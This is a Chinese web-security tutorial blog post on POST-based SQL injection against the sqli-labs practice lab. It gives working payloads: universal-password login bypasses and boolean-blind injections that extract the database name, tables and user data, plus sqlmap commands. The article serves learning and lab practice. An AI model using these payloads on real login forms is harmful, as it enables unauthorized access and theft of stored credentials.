4. web安全之sql注入(4)
2021/12/3 2:09:46
本文主要是介绍4. web安全之sql注入(4),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
sql注入之POST型注入
-
目录
-
POST型注入原理
-
POST型注入实操
-
sqlmap注入
一. POST型注入原理
1. 源码分析
sqli-labs-master 第10关
过程分析:post传入2个参数uname,paword,然后将2个参数带入sql语句进行查询。语句:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
查询到的结果进行if条件语句匹配;匹配到的就回显:you Login name:Dump等等;匹配不到就无回显。
2. POST型注入原理
sql语句:
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
正常登录:
注入登录(万能密码):
select username,password from users where username='admin' and password='password' or '1'='1' limit 0,1;
注入查询(布尔盲注):(需要揣测用户名)
select username,password from users where username='dumb' and length(database())=8;-- -' and password='' limit 0,1
注入查询(布尔盲注):(不需要揣测用户名)
select username,password from users where username='1234' and password='1234' or length(database())=8 limit 0,1;
sqlmap使用的是布尔盲注
二. POST型注入实操
靶机:sqli-labs-master 第十三关
POST型注入就是盲注;得先了解盲注才能手工注入
1. 关于POST型手工注入我更喜欢使用burp进行注入
抓取数据包;发送到Repeater
2. 查询注入点
利用万能密码查询注入点和闭合方式;闭合方式为 (' ')
uname=admin&passwd=password') or ('1')=('1&submit=Submit
3. 查询数据库字符数
uname=admin&passwd=password') or length(database())=('8&submit=Submit
得到数据库字符数为:8
4. 查询数据库第一个字符
依次类推,得到数据库名为security
5. 查询数据库下表个数
6. 查询第一个表字符数
7. 查询第一个表第一个字符
根据ascii码得到第一个字符为e;后门依此列得所有表名;其中一个表名users
8. 查询表名users的字段数
同上
9. 查询表名users第一个字段的字符数
同上
10. 查询表名users第一个字段的第一个字符
同上;查询到所有字符后,有2个字符,分别是username,password
11. 查询数据
(1)查询数据的字符数
得到第一列(username~password)组合字符长度为9
(2)查询数据的第一个字符
数据的第一个字符为D,后面同此可以得到所有数据
三. POST型注入sqlmap
靶机:sqli-labs-master 第13关
1. forms指定识别表格注入(登录验证需指定cookie)
主要参数--forms
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-11/" --forms --dbs --batch
2. burp抓包保存txt文件注入(免登录验证)
主要参数 -r
(1)burp抓取数据包
(2)复制到指定路径txt文件
我复制的是:D:\sqlmap\3.txt
(3)sqlmap执行注入
3. 指定POST型参数注入
主要参数:data=""
这篇关于4. web安全之sql注入(4)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-01基于Python+Vue开发的医院门诊预约挂号系统
- 2024-10-01基于Python+Vue开发的旅游景区管理系统
- 2024-10-01RestfulAPI入门指南:打造简单易懂的API接口
- 2024-10-01初学者指南:了解和使用Server Action
- 2024-10-01Server Component入门指南:搭建与配置详解
- 2024-10-01React 中使用 useRequest 实现数据请求
- 2024-10-01使用 golang 将ETH账户的资产平均分散到其他账户
- 2024-10-01JWT用户校验课程:从入门到实践
- 2024-10-01Server Component课程入门指南
- 2024-09-30Dnd-Kit学习:新手快速入门指南